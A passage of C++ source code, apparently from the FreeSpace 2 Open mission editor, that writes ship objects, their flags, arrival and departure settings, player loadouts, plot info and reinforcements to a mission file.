fout("\n%s engage time: %.2f", prefix, i2fl(shipp_params->warpout_engage_time) / 1000.0f);
}
if (shipp_params->speed != sip_params->speed)
{
if (shipp_params->speed > 0.0f)
fout("\n%s speed: %.2f", prefix, shipp_params->speed);
}
if (shipp_params->time != sip_params->time)
{
if (shipp_params->time > 0)
fout("\n%s time: %.2f", prefix, i2fl(shipp_params->time) / 1000.0f);
}
if (shipp_params->accel_exp != sip_params->accel_exp)
{
if (shipp_params->accel_exp > 0.0f)
fout("\n%s %s exp: %.2f", prefix, direction == WarpDirection::WARP_IN ? "decel" : "accel", shipp_params->accel_exp);
}
if (shipp_params->radius != sip_params->radius)
{
if (shipp_params->radius > 0.0f)
fout("\n%s radius: %.2f", prefix, shipp_params->radius);
}
if (stricmp(shipp_params->anim, sip_params->anim) != 0)
{
if (strlen(shipp_params->anim) > 0)
fout("\n%s animation: %s", prefix, shipp_params->anim);
}
if (direction == WarpDirection::WARP_OUT && shipp_params->warpout_player_speed != sip_params->warpout_player_speed)
{
if (shipp_params->warpout_player_speed > 0.0f)
fout("\n$Player warpout speed: %.2f", shipp_params->warpout_player_speed);
}
return err;
}
int CFred_mission_save::save_objects()
{
SCP_string sexp_out;
int i, z;
ai_info* aip;
object* objp;
ship* shipp;
required_string_fred("#Objects");
parse_comments(2);
fout("\t\t;! %d total\n", ship_get_num_ships());
for (i = z = 0; i < MAX_SHIPS; i++) {
if (Ships[i].objnum < 0) {
continue;
}
auto j = Objects[Ships[i].objnum].type;
if ((j != OBJ_SHIP) && (j != OBJ_START)) {
continue;
}
shipp = &Ships[i];
objp = &Objects[shipp->objnum];
required_string_either_fred("$Name:", "#Wings");
required_string_fred("$Name:");
parse_comments(z ? 2 : 1);
fout(" %s\t\t;! Object #%d", shipp->ship_name, i);
// Display name
// The display name is only written if there was one at the start to avoid introducing inconsistencies
if (save_format != MissionFormat::RETAIL && shipp->has_display_name()) {
char truncated_name[NAME_LENGTH];
strcpy_s(truncated_name, shipp->ship_name);
end_string_at_first_hash_symbol(truncated_name);
// Also, the display name is not written if it's just the truncation of the name at the hash
if (strcmp(shipp->get_display_name(), truncated_name) != 0) {
fout("\n$Display name:");
fout_ext(" ", "%s", shipp->display_name.c_str());
}
}
required_string_fred("\n$Class:");
parse_comments(0);
fout(" %s", Ship_info[shipp->ship_info_index].name);
//alt classes stuff
if (save_format != MissionFormat::RETAIL) {
for (SCP_vector<alt_class>::iterator ii = shipp->s_alt_classes.begin(); ii != shipp->s_alt_classes.end();
++ii) {
// is this a variable?
if (ii->variable_index != -1) {
fout("\n$Alt Ship Class: @%s", Sexp_variables[ii->variable_index].variable_name);
} else {
fout("\n$Alt Ship Class: \"%s\"", Ship_info[ii->ship_class].name);
}
// default class?
if (ii->default_to_this_class) {
fout("\n+Default Class:");
}
}
}
// optional alternate type name
if (strlen(Fred_alt_names[i])) {
fout("\n$Alt: %s\n", Fred_alt_names[i]);
}
// optional callsign
if (save_format != MissionFormat::RETAIL && strlen(Fred_callsigns[i])) {
fout("\n$Callsign: %s\n", Fred_callsigns[i]);
}
required_string_fred("$Team:");
parse_comments();
fout(" %s", Iff_info[shipp->team].iff_name);
if (save_format != MissionFormat::RETAIL && Ship_info[shipp->ship_info_index].uses_team_colors) {
required_string_fred("$Team Color Setting:");
parse_comments();
fout(" %s", shipp->team_name.c_str());
}
required_string_fred("$Location:");
parse_comments();
save_vector(Objects[shipp->objnum].pos);
required_string_fred("$Orientation:");
parse_comments();
save_matrix(Objects[shipp->objnum].orient);
if (save_format == MissionFormat::RETAIL) {
required_string_fred("$IFF:");
parse_comments();
fout(" %s", "IFF 1");
}
Assert(shipp->ai_index >= 0);
aip = &Ai_info[shipp->ai_index];
required_string_fred("$AI Behavior:");
parse_comments();
fout(" %s", Ai_behavior_names[aip->behavior]);
if (shipp->weapons.ai_class != Ship_info[shipp->ship_info_index].ai_class) {
if (optional_string_fred("+AI Class:", "$Name:")) {
parse_comments();
} else {
fout("\n+AI Class:");
}
fout(" %s", Ai_class_names[shipp->weapons.ai_class]);
}
save_ai_goals(Ai_info[shipp->ai_index].goals, i);
// XSTR
required_string_fred("$Cargo 1:");
parse_comments();
fout_ext(" ", "%s", Cargo_names[shipp->cargo1]);
save_common_object_data(&Objects[shipp->objnum], &Ships[i]);
if (shipp->wingnum >= 0) {
shipp->arrival_location = ARRIVE_AT_LOCATION;
}
required_string_fred("$Arrival Location:");
parse_comments();
fout(" %s", Arrival_location_names[shipp->arrival_location]);
if (shipp->arrival_location != ARRIVE_AT_LOCATION) {
if (optional_string_fred("+Arrival Distance:", "$Name:")) {
parse_comments();
} else {
fout("\n+Arrival Distance:");
}
fout(" %d", shipp->arrival_distance);
if (optional_string_fred("$Arrival Anchor:", "$Name:")) {
parse_comments();
} else {
fout("\n$Arrival Anchor:");
}
z = shipp->arrival_anchor;
if (z & SPECIAL_ARRIVAL_ANCHOR_FLAG) {
// get name
char tmp[NAME_LENGTH + 15];
stuff_special_arrival_anchor_name(tmp, z, save_format == MissionFormat::RETAIL);
// save it
fout(" %s", tmp);
} else if (z >= 0) {
fout(" %s", Ships[z].ship_name);
} else {
fout(" <error>");
}
}
// Goober5000
if (save_format != MissionFormat::RETAIL) {
if ((shipp->arrival_location == ARRIVE_FROM_DOCK_BAY) && (shipp->arrival_path_mask > 0)) {
int anchor_shipnum;
polymodel* pm;
anchor_shipnum = shipp->arrival_anchor;
Assert(anchor_shipnum >= 0 && anchor_shipnum < MAX_SHIPS);
fout("\n+Arrival Paths: ( ");
pm = model_get(Ship_info[Ships[anchor_shipnum].ship_info_index].model_num);
for (auto n = 0; n < pm->ship_bay->num_paths; n++) {
if (shipp->arrival_path_mask & (1 << n)) {
fout("\"%s\" ", pm->paths[pm->ship_bay->path_indexes[n]].name);
}
}
fout(")");
}
}
if (shipp->arrival_delay) {
if (optional_string_fred("+Arrival Delay:", "$Name:")) {
parse_comments();
} else {
fout("\n+Arrival Delay:");
}
fout(" %d", shipp->arrival_delay);
}
required_string_fred("$Arrival Cue:");
parse_comments();
convert_sexp_to_string(sexp_out, shipp->arrival_cue, SEXP_SAVE_MODE);
fout(" %s", sexp_out.c_str());
if (shipp->wingnum >= 0) {
shipp->departure_location = DEPART_AT_LOCATION;
}
required_string_fred("$Departure Location:");
parse_comments();
fout(" %s", Departure_location_names[shipp->departure_location]);
if (shipp->departure_location != DEPART_AT_LOCATION) {
required_string_fred("$Departure Anchor:");
parse_comments();
if (shipp->departure_anchor >= 0) {
fout(" %s", Ships[shipp->departure_anchor].ship_name);
} else {
fout(" <error>");
}
}
// Goober5000
if (save_format != MissionFormat::RETAIL) {
if ((shipp->departure_location == DEPART_AT_DOCK_BAY) && (shipp->departure_path_mask > 0)) {
int anchor_shipnum;
polymodel* pm;
anchor_shipnum = shipp->departure_anchor;
Assert(anchor_shipnum >= 0 && anchor_shipnum < MAX_SHIPS);
fout("\n+Departure Paths: ( ");
pm = model_get(Ship_info[Ships[anchor_shipnum].ship_info_index].model_num);
for (auto n = 0; n < pm->ship_bay->num_paths; n++) {
if (shipp->departure_path_mask & (1 << n)) {
fout("\"%s\" ", pm->paths[pm->ship_bay->path_indexes[n]].name);
}
}
fout(")");
}
}
if (shipp->departure_delay) {
if (optional_string_fred("+Departure delay:", "$Name:")) {
parse_comments();
} else {
fout("\n+Departure delay:");
}
fout(" %d", shipp->departure_delay);
}
required_string_fred("$Departure Cue:");
parse_comments();
convert_sexp_to_string(sexp_out, shipp->departure_cue, SEXP_SAVE_MODE);
fout(" %s", sexp_out.c_str());
save_warp_params(WarpDirection::WARP_IN, shipp);
save_warp_params(WarpDirection::WARP_OUT, shipp);
required_string_fred("$Determination:");
parse_comments();
fout(" 10"); // dummy value for backwards compatibility
if (optional_string_fred("+Flags:", "$Name:")) {
parse_comments();
fout(" (");
} else {
fout("\n+Flags: (");
}
if (shipp->flags[Ship::Ship_Flags::Cargo_revealed]) {
fout(" \"cargo-known\"");
}
if (shipp->flags[Ship::Ship_Flags::Ignore_count]) {
fout(" \"ignore-count\"");
}
if (objp->flags[Object::Object_Flags::Protected]) {
fout(" \"protect-ship\"");
}
if (shipp->flags[Ship::Ship_Flags::Reinforcement]) {
fout(" \"reinforcement\"");
}
if (objp->flags[Object::Object_Flags::No_shields]) {
fout(" \"no-shields\"");
}
if (shipp->flags[Ship::Ship_Flags::Escort]) {
fout(" \"escort\"");
}
if (objp->type == OBJ_START) {
fout(" \"player-start\"");
}
if (shipp->flags[Ship::Ship_Flags::No_arrival_music]) {
fout(" \"no-arrival-music\"");
}
if (shipp->flags[Ship::Ship_Flags::No_arrival_warp]) {
fout(" \"no-arrival-warp\"");
}
if (shipp->flags[Ship::Ship_Flags::No_departure_warp]) {
fout(" \"no-departure-warp\"");
}
if (Objects[shipp->objnum].flags[Object::Object_Flags::Invulnerable]) {
fout(" \"invulnerable\"");
}
if (shipp->flags[Ship::Ship_Flags::Hidden_from_sensors]) {
fout(" \"hidden-from-sensors\"");
}
if (shipp->flags[Ship::Ship_Flags::Scannable]) {
fout(" \"scannable\"");
}
if (Ai_info[shipp->ai_index].ai_flags[AI::AI_Flags::Kamikaze]) {
fout(" \"kamikaze\"");
}
if (Ai_info[shipp->ai_index].ai_flags[AI::AI_Flags::No_dynamic]) {
fout(" \"no-dynamic\"");
}
if (shipp->flags[Ship::Ship_Flags::Red_alert_store_status]) {
fout(" \"red-alert-carry\"");
}
if (objp->flags[Object::Object_Flags::Beam_protected]) {
fout(" \"beam-protect-ship\"");
}
if (objp->flags[Object::Object_Flags::Flak_protected]) {
fout(" \"flak-protect-ship\"");
}
if (objp->flags[Object::Object_Flags::Laser_protected]) {
fout(" \"laser-protect-ship\"");
}
if (objp->flags[Object::Object_Flags::Missile_protected]) {
fout(" \"missile-protect-ship\"");
}
if (shipp->ship_guardian_threshold != 0) {
fout(" \"guardian\"");
}
if (objp->flags[Object::Object_Flags::Special_warpin]) {
fout(" \"special-warp\"");
}
if (shipp->flags[Ship::Ship_Flags::Vaporize]) {
fout(" \"vaporize\"");
}
if (shipp->flags[Ship::Ship_Flags::Stealth]) {
fout(" \"stealth\"");
}
if (shipp->flags[Ship::Ship_Flags::Friendly_stealth_invis]) {
fout(" \"friendly-stealth-invisible\"");
}
if (shipp->flags[Ship::Ship_Flags::Dont_collide_invis]) {
fout(" \"don't-collide-invisible\"");
}
//for compatibility reasons ship locked or weapons locked are saved as both locked in retail mode
if ((save_format == MissionFormat::RETAIL)
&& ((shipp->flags[Ship::Ship_Flags::Ship_locked]) || (shipp->flags[Ship::Ship_Flags::Weapons_locked]))) {
fout(" \"locked\"");
}
fout(" )");
// flags2 added by Goober5000 --------------------------------
if (save_format != MissionFormat::RETAIL) {
if (optional_string_fred("+Flags2:", "$Name:")) {
parse_comments();
fout(" (");
} else {
fout("\n+Flags2: (");
}
if (shipp->flags[Ship::Ship_Flags::Primitive_sensors]) {
fout(" \"primitive-sensors\"");
}
if (shipp->flags[Ship::Ship_Flags::No_subspace_drive]) {
fout(" \"no-subspace-drive\"");
}
if (shipp->flags[Ship::Ship_Flags::Navpoint_carry]) {
fout(" \"nav-carry-status\"");
}
if (shipp->flags[Ship::Ship_Flags::Affected_by_gravity]) {
fout(" \"affected-by-gravity\"");
}
if (shipp->flags[Ship::Ship_Flags::Toggle_subsystem_scanning]) {
fout(" \"toggle-subsystem-scanning\"");
}
if (objp->flags[Object::Object_Flags::Targetable_as_bomb]) {
fout(" \"targetable-as-bomb\"");
}
if (shipp->flags[Ship::Ship_Flags::No_builtin_messages]) {
fout(" \"no-builtin-messages\"");
}
if (shipp->flags[Ship::Ship_Flags::Primaries_locked]) {
fout(" \"primaries-locked\"");
}
if (shipp->flags[Ship::Ship_Flags::Secondaries_locked]) {
fout(" \"secondaries-locked\"");
}
if (shipp->flags[Ship::Ship_Flags::No_death_scream]) {
fout(" \"no-death-scream\"");
}
if (shipp->flags[Ship::Ship_Flags::Always_death_scream]) {
fout(" \"always-death-scream\"");
}
if (shipp->flags[Ship::Ship_Flags::Navpoint_needslink]) {
fout(" \"nav-needslink\"");
}
if (shipp->flags[Ship::Ship_Flags::Hide_ship_name]) {
fout(" \"hide-ship-name\"");
}
if (shipp->flags[Ship::Ship_Flags::Set_class_dynamically]) {
fout(" \"set-class-dynamically\"");
}
if (shipp->flags[Ship::Ship_Flags::Lock_all_turrets_initially]) {
fout(" \"lock-all-turrets\"");
}
if (shipp->flags[Ship::Ship_Flags::Afterburner_locked]) {
fout(" \"afterburners-locked\"");
}
if (shipp->flags[Ship::Ship_Flags::Force_shields_on]) {
fout(" \"force-shields-on\"");
}
if (objp->flags[Object::Object_Flags::Immobile]) {
fout(" \"immobile\"");
}
if (shipp->flags[Ship::Ship_Flags::No_ets]) {
fout(" \"no-ets\"");
}
if (shipp->flags[Ship::Ship_Flags::Cloaked]) {
fout(" \"cloaked\"");
}
if (shipp->flags[Ship::Ship_Flags::Ship_locked]) {
fout(" \"ship-locked\"");
}
if (shipp->flags[Ship::Ship_Flags::Weapons_locked]) {
fout(" \"weapons-locked\"");
}
if (shipp->flags[Ship::Ship_Flags::Scramble_messages]) {
fout(" \"scramble-messages\"");
}
if (!(objp->flags[Object::Object_Flags::Collides])) {
fout(" \"no_collide\"");
}
if (shipp->flags[Ship::Ship_Flags::No_disabled_self_destruct]) {
fout(" \"no-disabled-self-destruct\"");
}
if (shipp->flags[Ship::Ship_Flags::Same_arrival_warp_when_docked]) {
fout(" \"same-arrival-warp-when-docked\"");
}
if (shipp->flags[Ship::Ship_Flags::Same_departure_warp_when_docked]) {
fout(" \"same-departure-warp-when-docked\"");
}
if (objp->flags[Object::Object_Flags::Attackable_if_no_collide]) {
fout(" \"ai-attackable-if-no-collide\"");
}
if (shipp->flags[Ship::Ship_Flags::Fail_sound_locked_primary]) {
fout(" \"fail-sound-locked-primary\"");
}
if (shipp->flags[Ship::Ship_Flags::Fail_sound_locked_secondary]) {
fout(" \"fail-sound-locked-secondary\"");
}
fout(" )");
}
// -----------------------------------------------------------
fout("\n+Respawn priority: %d", shipp->respawn_priority); // HA! Newline added by Goober5000
if (shipp->flags[Ship::Ship_Flags::Escort]) {
if (optional_string_fred("+Escort priority:", "$Name:")) {
parse_comments();
} else {
fout("\n+Escort priority:");
}
fout(" %d", shipp->escort_priority);
}
// special explosions
if (save_format != MissionFormat::RETAIL) {
if (shipp->use_special_explosion) {
fso_comment_push(";;FSO 3.6.13;;");
if (optional_string_fred("$Special Explosion:", "$Name:")) {
parse_comments();
required_string_fred("+Special Exp Damage:");
parse_comments();
fout(" %d", shipp->special_exp_damage);
required_string_fred("+Special Exp Blast:");
parse_comments();
fout(" %d", shipp->special_exp_blast);
required_string_fred("+Special Exp Inner Radius:");
parse_comments();
fout(" %d", shipp->special_exp_inner);
required_string_fred("+Special Exp Outer Radius:");
parse_comments();
fout(" %d", shipp->special_exp_outer);
if (shipp->use_shockwave && (shipp->special_exp_shockwave_speed > 0)) {
optional_string_fred("+Special Exp Shockwave Speed:");
parse_comments();
fout(" %d", shipp->special_exp_shockwave_speed);
} else {
bypass_comment(";;FSO 3.6.13;; +Special Exp Shockwave Speed:", "$Name:");
}
if (shipp->special_exp_deathroll_time > 0) {
optional_string_fred("+Special Exp Death Roll Time:");
parse_comments();
fout(" %d", shipp->special_exp_deathroll_time);
} else {
bypass_comment(";;FSO 3.6.13;; +Special Exp Death Roll Time:", "$Name:");
}
} else {
fout_version("\n$Special Explosion:");
fout_version("\n+Special Exp Damage:");
fout(" %d", shipp->special_exp_damage);
fout_version("\n+Special Exp Blast:");
fout(" %d", shipp->special_exp_blast);
fout_version("\n+Special Exp Inner Radius:");
fout(" %d", shipp->special_exp_inner);
fout_version("\n+Special Exp Outer Radius:");
fout(" %d", shipp->special_exp_outer);
if (shipp->use_shockwave && (shipp->special_exp_shockwave_speed > 0)) {
fout_version("\n+Special Exp Shockwave Speed:");
fout(" %d", shipp->special_exp_shockwave_speed);
}
if (shipp->special_exp_deathroll_time > 0) {
fout_version("\n+Special Exp Death Roll Time:");
fout(" %d", shipp->special_exp_deathroll_time);
}
}
fso_comment_pop();
} else {
bypass_comment(";;FSO 3.6.13;; +Special Exp Shockwave Speed:", "$Name:");
bypass_comment(";;FSO 3.6.13;; +Special Exp Death Roll Time:", "$Name:");
}
}
// retail format special explosions
else {
if (shipp->use_special_explosion) {
int special_exp_index;
if (has_special_explosion_block_index(&Ships[i], &special_exp_index)) {
fout("\n+Special Exp index:");
fout(" %d", special_exp_index);
} else {
SCP_string text = "You are saving in the retail mission format, but ";
text += "the mission has too many special explosions defined. \"";
text += shipp->ship_name;
text += "\" has therefore lost any special explosion data that was defined for it. ";
text += "\" Either remove special explosions or SEXP variables if you need it to have one ";
_viewport->dialogProvider->showButtonDialog(DialogType::Warning,
"Too many variables!",
text,
{ DialogButton::Ok });
}
}
}
// Goober5000 ------------------------------------------------
if (save_format != MissionFormat::RETAIL) {
if (shipp->special_hitpoints) {
fso_comment_push(";;FSO 3.6.13;;");
if (optional_string_fred("+Special Hitpoints:", "$Name:")) {
parse_comments();
} else {
fout_version("\n+Special Hitpoints:");
}
fso_comment_pop();
fout(" %d", shipp->special_hitpoints);
} else {
bypass_comment(";;FSO 3.6.13;; +Special Hitpoints:", "$Name:");
}
if (shipp->special_shield >= 0) {
fso_comment_push(";;FSO 3.6.13;;");
if (optional_string_fred("+Special Shield Points:", "$Name:")) {
parse_comments();
} else {
fout_version("\n+Special Shield Points:");
}
fso_comment_pop();
fout(" %d", shipp->special_shield);
} else {
bypass_comment(";;FSO 3.6.13;; +Special Shield Points:", "$Name:");
}
}
// -----------------------------------------------------------
if (Ai_info[shipp->ai_index].ai_flags[AI::AI_Flags::Kamikaze]) {
if (optional_string_fred("+Kamikaze Damage:", "$Name:")) {
parse_comments();
} else {
fout("\n+Kamikaze Damage:");
}
fout(" %d", Ai_info[shipp->ai_index].kamikaze_damage);
}
if (shipp->hotkey != -1) {
if (optional_string_fred("+Hotkey:", "$Name:")) {
parse_comments();
} else {
fout("\n+Hotkey:");
}
fout(" %d", shipp->hotkey);
}
// mwa -- new code to save off information about initially docked ships.
// Goober5000 - newer code to save off information about initially docked ships. ;)
if (object_is_docked(&Objects[shipp->objnum])) {
// possible incompatibility
if (save_format == MissionFormat::RETAIL && !dock_check_docked_one_on_one(&Objects[shipp->objnum])) {
static bool warned = false;
if (!warned) {
SCP_string text = "You are saving in the retail mission format, but \"";
text += shipp->ship_name;
text += "\" is docked to more than one ship. If you wish to run this mission in retail, ";
text += "you should remove the additional ships and save the mission again.";
_viewport->dialogProvider->showButtonDialog(DialogType::Warning,
"Incompatibility with retail mission format",
text,
{ DialogButton::Ok });
warned = true; // to avoid zillions of boxes
}
}
// save one-on-one groups as if they were retail
if (dock_check_docked_one_on_one(&Objects[shipp->objnum])) {
// retail format only saved information for non-leaders
if (!(shipp->flags[Ship::Ship_Flags::Dock_leader])) {
save_single_dock_instance(&Ships[i], Objects[shipp->objnum].dock_list);
}
}
// multiply docked
else {
// save all instances for all ships
for (dock_instance* dock_ptr = Objects[shipp->objnum].dock_list; dock_ptr != NULL;
dock_ptr = dock_ptr->next) {
save_single_dock_instance(&Ships[i], dock_ptr);
}
}
}
// check the ship flag about killing off the ship before a mission starts. Write out the appropriate
// variable if necessary
if (shipp->flags[Ship::Ship_Flags::Kill_before_mission]) {
if (optional_string_fred("+Destroy At:", "$Name:")) {
parse_comments();
} else {
fout("\n+Destroy At: ");
}
fout(" %d", shipp->final_death_time);
}
// possibly write out the orders that this ship will accept. We'll only do it if the orders
// are not the default set of orders
if (shipp->orders_accepted != ship_get_default_orders_accepted(&Ship_info[shipp->ship_info_index])) {
if (optional_string_fred("+Orders Accepted:", "$Name:")) {
parse_comments();
} else {
fout("\n+Orders Accepted:");
}
int bitfield = 0;
for(size_t order : shipp->orders_accepted)
bitfield |= Player_orders[order].id;
fout(" %d\t\t;! note that this is a bitfield!!!", bitfield);
}
if (shipp->group >= 0) {
if (optional_string_fred("+Group:", "$Name:")) {
parse_comments();
} else {
fout("\n+Group:");
}
fout(" %d", shipp->group);
}
// always write out the score to ensure backwards compatibility. If the score is the same as the value
// in the table write out a flag to tell the game to simply use whatever is in the table instead
if (Ship_info[shipp->ship_info_index].score == shipp->score) {
fso_comment_push(";;FSO 3.6.10;;");
if (optional_string_fred("+Use Table Score:", "$Name:")) {
parse_comments();
} else {
fout_version("\n+Use Table Score:");
}
fso_comment_pop();
} else {
bypass_comment(";;FSO 3.6.10;; +Use Table Score:", "$Name:");
}
if (optional_string_fred("+Score:", "$Name:")) {
parse_comments();
} else {
fout("\n+Score:");
}
fout(" %d", shipp->score);
if (save_format != MissionFormat::RETAIL && shipp->assist_score_pct != 0) {
fso_comment_push(";;FSO 3.6.10;;");
if (optional_string_fred("+Assist Score Percentage:")) {
parse_comments();
} else {
fout_version("\n+Assist Score Percentage:");
}
fso_comment_pop();
fout(" %f", shipp->assist_score_pct);
} else {
bypass_comment(";;FSO 3.6.10;; +Assist Score Percentage:", "$Name:");
}
// deal with the persona for this ship as well.
if (shipp->persona_index != -1) {
if (optional_string_fred("+Persona Index:", "$Name:")) {
parse_comments();
} else {
fout("\n+Persona Index:");
}
fout(" %d", shipp->persona_index);
}
// Goober5000 - deal with texture replacement ----------------
if (!Fred_texture_replacements.empty()) {
bool needs_header = true;
fso_comment_push(";;FSO 3.6.8;;");
for (SCP_vector<texture_replace>::iterator ii = Fred_texture_replacements.begin();
ii != Fred_texture_replacements.end(); ++ii) {
// Only look at this entry if it's not from the table. Table entries will just be read by FSO.
if (!stricmp(shipp->ship_name, ii->ship_name) && !(ii->from_table)) {
if (needs_header) {
if (optional_string_fred("$Texture Replace:")) {
parse_comments(1);
} else {
fout_version("\n$Texture Replace:");
}
needs_header = false;
}
// write out this entry
if (optional_string_fred("+old:")) {
parse_comments(1);
fout(" %s", ii->old_texture);
} else {
fout_version("\n+old: %s", ii->old_texture);
}
if (optional_string_fred("+new:")) {
parse_comments(1);
fout(" %s", ii->new_texture);
} else {
fout_version("\n+new: %s", ii->new_texture);
}
}
}
fso_comment_pop();
} else {
bypass_comment(";;FSO 3.6.8;; $Texture Replace:", "$Name:");
}
// end of texture replacement -------------------------------
z++;
fso_comment_pop();
}
fso_comment_pop(true);
return err;
}
int CFred_mission_save::save_players()
{
bool wrote_fso_data = false;
int i, j;
int var_idx;
int used_pool[MAX_WEAPON_TYPES];
if (optional_string_fred("#Alternate Types:")) { // Make sure the parser doesn't get out of sync
required_string_fred("#end");
}
if (optional_string_fred("#Callsigns:")) {
required_string_fred("#end");
}
// write out alternate name list
if (Mission_alt_type_count > 0) {
fout("\n\n#Alternate Types:\n");
// write them all out
for (i = 0; i < Mission_alt_type_count; i++) {
fout("$Alt: %s\n", Mission_alt_types[i]);
}
// end
fout("\n#end\n");
}
// write out callsign list
if (save_format != MissionFormat::RETAIL && Mission_callsign_count > 0) {
fout("\n\n#Callsigns:\n");
// write them all out
for (i = 0; i < Mission_callsign_count; i++) {
fout("$Callsign: %s\n", Mission_callsigns[i]);
}
// end
fout("\n#end\n");
}
required_string_fred("#Players");
parse_comments(2);
fout("\t\t;! %d total\n", Player_starts);
for (i = 0; i < Num_teams; i++) {
required_string_fred("$Starting Shipname:");
parse_comments();
Assert(Player_start_shipnum >= 0);
fout(" %s", Ships[Player_start_shipnum].ship_name);
required_string_fred("$Ship Choices:");
parse_comments();
fout(" (\n");
for (j = 0; j < Team_data[i].num_ship_choices; j++) {
// Check to see if a variable name should be written for the class rather than a number
if (strlen(Team_data[i].ship_list_variables[j])) {
var_idx = get_index_sexp_variable_name(Team_data[i].ship_list_variables[j]);
Assert(var_idx > -1 && var_idx < MAX_SEXP_VARIABLES);
wrote_fso_data = true;
fout("\t@%s\t", Sexp_variables[var_idx].variable_name);
} else {
fout("\t\"%s\"\t", Ship_info[Team_data[i].ship_list[j]].name);
}
// Now check if we should write a variable or a number for the amount of ships available
if (strlen(Team_data[i].ship_count_variables[j])) {
var_idx = get_index_sexp_variable_name(Team_data[i].ship_count_variables[j]);
Assert(var_idx > -1 && var_idx < MAX_SEXP_VARIABLES);
wrote_fso_data = true;
fout("@%s\n", Sexp_variables[var_idx].variable_name);
} else {
fout("%d\n", Team_data[i].ship_count[j]);
}
}
fout(")");
if (optional_string_fred("+Weaponry Pool:", "$Starting Shipname:")) {
parse_comments(2);
} else {
fout("\n\n+Weaponry Pool:");
}
fout(" (\n");
generate_weaponry_usage_list_team(i, used_pool);
for (j = 0; j < Team_data[i].num_weapon_choices; j++) {
// first output the weapon name or a variable that sets it
if (strlen(Team_data[i].weaponry_pool_variable[j])) {
var_idx = get_index_sexp_variable_name(Team_data[i].weaponry_pool_variable[j]);
Assert(var_idx > -1 && var_idx < MAX_SEXP_VARIABLES);
wrote_fso_data = true;
fout("\t@%s\t", Sexp_variables[var_idx].variable_name);
} else {
fout("\t\"%s\"\t", Weapon_info[Team_data[i].weaponry_pool[j]].name);
}
// now output the amount of this weapon or a variable that sets it. If this weapon is in the used pool and isn't
// set by a variable we should add the amount of weapons used by the wings to it and zero the entry so we know
// that we have dealt with it
if (strlen(Team_data[i].weaponry_amount_variable[j])) {
var_idx = get_index_sexp_variable_name(Team_data[i].weaponry_amount_variable[j]);
Assert(var_idx > -1 && var_idx < MAX_SEXP_VARIABLES);
wrote_fso_data = true;
fout("@%s\n", Sexp_variables[var_idx].variable_name);
} else {
if (strlen(Team_data[i].weaponry_pool_variable[j])) {
fout("%d\n", Team_data[i].weaponry_count[j]);
} else {
fout("%d\n", Team_data[i].weaponry_count[j] + used_pool[Team_data[i].weaponry_pool[j]]);
used_pool[Team_data[i].weaponry_pool[j]] = 0;
}
}
}
// now we add anything left in the used pool as a static entry
for (j = 0; j < static_cast<int>(Weapon_info.size()); j++) {
if (used_pool[j] > 0) {
fout("\t\"%s\"\t%d\n", Weapon_info[j].name, used_pool[j]);
}
}
fout(")");
// sanity check
if (save_format == MissionFormat::RETAIL && wrote_fso_data) {
// this is such an unlikely (and hard-to-fix) case that a warning should be sufficient
_viewport->dialogProvider->showButtonDialog(DialogType::Warning,
"Incompatibility with retail mission format",
"Warning: This mission contains variable-based team loadout information, but you are saving in the retail mission format. Retail FRED and FS2 will not be able to read this information.",
{ DialogButton::Ok });
}
// Goober5000 - mjn.mixael's required weapon feature
bool uses_required_weapon = false;
for (j = 0; j < static_cast<int>(Weapon_info.size()); j++) {
if (Team_data[i].weapon_required[j]) {
uses_required_weapon = true;
break;
}
}
if (save_format != MissionFormat::RETAIL && uses_required_weapon) {
if (optional_string_fred("+Required for mission:", "$Starting Shipname:")) {
parse_comments(2);
} else {
fout("\n+Required for mission:");
}
fout(" (");
for (j = 0; j < static_cast<int>(Weapon_info.size()); j++) {
if (Team_data[i].weapon_required[j]) {
fout(" \"%s\"", Weapon_info[j].name);
}
}
fout(" )");
}
fso_comment_pop();
}
fso_comment_pop(true);
return err;
}
int CFred_mission_save::save_plot_info()
{
if (save_format == MissionFormat::RETAIL) {
if (optional_string_fred("#Plot Info")) {
parse_comments(2);
// XSTR
required_string_fred("$Tour:");
parse_comments(2);
fout_ext(" ", "Blah");
required_string_fred("$Pre-Briefing Cutscene:");
parse_comments();
fout(" Blah");
required_string_fred("$Pre-Mission Cutscene:");
parse_comments();
fout(" Blah");
required_string_fred("$Next Mission Success:");
parse_comments();
fout(" Blah");
required_string_fred("$Next Mission Partial:");
parse_comments();
fout(" Blah");
required_string_fred("$Next Mission Failure:");
parse_comments();
fout(" Blah");
} else {
fout("\n\n#Plot Info\n\n");
fout("$Tour: ");
fout_ext(NULL, "Blah");
fout("\n");
fout("$Pre-Briefing Cutscene: Blah\n");
fout("$Pre-Mission Cutscene: Blah\n");
fout("$Next Mission Success: Blah\n");
fout("$Next Mission Partial: Blah\n");
fout("$Next Mission Failure: Blah\n");
fout("\n");
}
}
fso_comment_pop(true);
return err;
}
int CFred_mission_save::save_reinforcements()
{
int i, j, type;
fred_parse_flag = 0;
required_string_fred("#Reinforcements");
parse_comments(2);
fout("\t\t;! %d total\n", Num_reinforcements);
for (i = 0; i < Num_reinforcements; i++) {
required_string_either_fred("$Name:", "#Background bitmaps");
required_string_fred("$Name:");
parse_comments(i ? 2 : 1);
fout(" %s", Reinforcements[i].name);
type = TYPE_ATTACK_PROTECT;
for (j = 0; j < MAX_SHIPS; j++) {
if ((Ships[j].objnum != -1) && !stricmp(Ships[j].ship_name, Reinforcements[i].name)) {
if (Ship_info[Ships[j].ship_info_index].flags[Ship::Info_Flags::Support]) {
type = TYPE_REPAIR_REARM;
}
break;
}
}
required_string_fred("$Type:");
parse_comments();
fout(" %s", Reinforcement_type_names[type]);
required_string_fred("$Num times:");
parse_comments();
fout(" %d", Reinforcements[i].uses);
if (optional_string_fred("+Arrival Delay:", "$Name:")) {
parse_comments();
} else {
fout("\n+Arrival Delay:");
}
fout(" %d", Reinforcements[i].arrival_delay);
if (optional_string_fred("+No Messages:", "$Name:")) {
parse_comments();
} else {
fout("\n+No Messages:");
}
fout(" (");
for (j = 0; j < MAX_REINFORCEMENT_MESSAGES; j++) {
if (strlen(Reinforcements[i].no_messages[j])) {
fout(" \"%s\"", Reinforcements[i].no_messages[j]);
}
}
fout(" )");
if (optional_string_fred("+Yes Messages:", "$Name:")) {
parse_comments();
} else {
fout("\n+Yes Messages:");
}
fout(" (");
for (j = 0; j < MAX_REINFORCEMENT_MESSAGES; j++) {
if (strlen(Reinforcements[i].yes_messages[j])) {
fout(" \"%s\"", Reinforcements[i].yes_messages[j]);
}
}
fout(" )");
fso_comment_pop();
}
fso_comment_pop(true);
return err;
}
void CFred_mission_save::save_single_dock_instance(ship* shipp, dock_instance* dock_ptr)
{
